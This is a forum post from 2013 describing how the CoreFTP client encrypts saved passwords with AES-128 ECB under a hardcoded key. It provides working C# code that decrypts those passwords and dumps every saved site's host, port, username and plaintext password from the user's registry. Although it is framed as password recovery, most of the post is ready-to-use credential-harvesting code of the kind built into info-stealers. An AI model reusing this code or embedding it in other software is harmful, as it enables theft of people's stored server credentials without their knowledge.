Dec 29, 2013 06:53 AM
(This post was last modified: Dec 29, 2013 06:55 AM by Delirium™.)
![[Image: r4rZZ8P.png]](https://i.imgur.com/r4rZZ8P.png)
Password encryption:
Saved CoreFTP passwords are encrypted using AES-128 (ECB) and the HEX value fo the encrypted bytes are stored into registry. The key of the encryption is always "hdfzpysvpzimorhk".
Code Snippets:
- Decryption method for the passwords:
Code
private static string DecryptCoreFTPPassword(string HexString)
{
StringBuilder buffer = new StringBuilder(HexString.Length * 3 / 2);
for (int i = 0; i < HexString.Length; i++)
{
if ((i > 0) & (i % 2 == 0))
buffer.Append("-");
buffer.Append(HexString[i]);
}
string Reversed = buffer.ToString();
int length = (Reversed.Length + 1) / 3;
byte[] arr = new byte[length];
for (int i = 0; i < length; i++)
{
arr[i] = Convert.ToByte(Reversed.Substring(3 * i, 2), 16);
}
RijndaelManaged AES = new RijndaelManaged()
{
Mode = CipherMode.ECB,
Key = Encoding.ASCII.GetBytes("hdfzpysvpzimorhk"),
Padding = PaddingMode.Zeros,
};
ICryptoTransform Transform = AES.CreateDecryptor(AES.Key, AES.IV);
return Encoding.UTF8.GetString(Transform.TransformFinalBlock(arr, 0, arr.Length));
}- Recover snippet for the passwords:
Code
public static string RecoverCoreFTP()
{
string sPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "CoreFTP/sites.idx");
StringBuilder RegBuilder = new StringBuilder();
using (StreamReader Reader = new StreamReader(sPath))
{
string line = "";
while ((line = Reader.ReadLine()) != null)
{
try
{
RegBuilder.Append(line.Split(new string[] { " " }, StringSplitOptions.None)[0].ToString() + " ");
} catch
{
continue;
}
}
}
string[] RegistryPaths = RegBuilder.ToString().Substring(0, RegBuilder.ToString().Length - 2).Split(' ');
StringBuilder Ret = new StringBuilder();
Ret.Append("== Core FTP Passwords ==\n\n");
string sEntry = "";
string sHost = "";
string sPort = "";
string sUser = "";
string sPassword = "";
foreach (string path in RegistryPaths)
{
sEntry = Registry.GetValue(string.Format(@"HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\{0}", path), "Name", " ").ToString();
sHost = Registry.GetValue(string.Format(@"HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\{0}", path), "Host", " ").ToString();
sUser = Registry.GetValue(string.Format(@"HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\{0}", path), "User", " ").ToString();
sPort = Registry.GetValue(string.Format(@"HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\{0}", path), "Port", " ").ToString();
sPassword = DecryptCoreFTPPassword(Registry.GetValue(string.Format(@"HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\{0}", path), "PW", " ").ToString());
if (!string.IsNullOrEmpty(sUser) && !string.IsNullOrEmpty(sPort) && !string.IsNullOrEmpty(sHost))
{
Ret.Append("== Core FTP Entry ==\n");
Ret.AppendLine("Entry Name: " + sEntry + "\n");
Ret.Append("Host: " + sHost + "\n");
Ret.Append("Port: " + sPort + "\n");
Ret.Append("Username: " + sUser + "\n");
Ret.Append("Password: " + sPassword + "\n");
Ret.Append("==\n\n");
}
else { continue; }
}
Ret.Append("==");
return Ret.ToString();
}If you have any question, inquiry or feedback, feel free to post it.



![[Image: jfhDhRz.gif]](https://i.imgur.com/jfhDhRz.gif)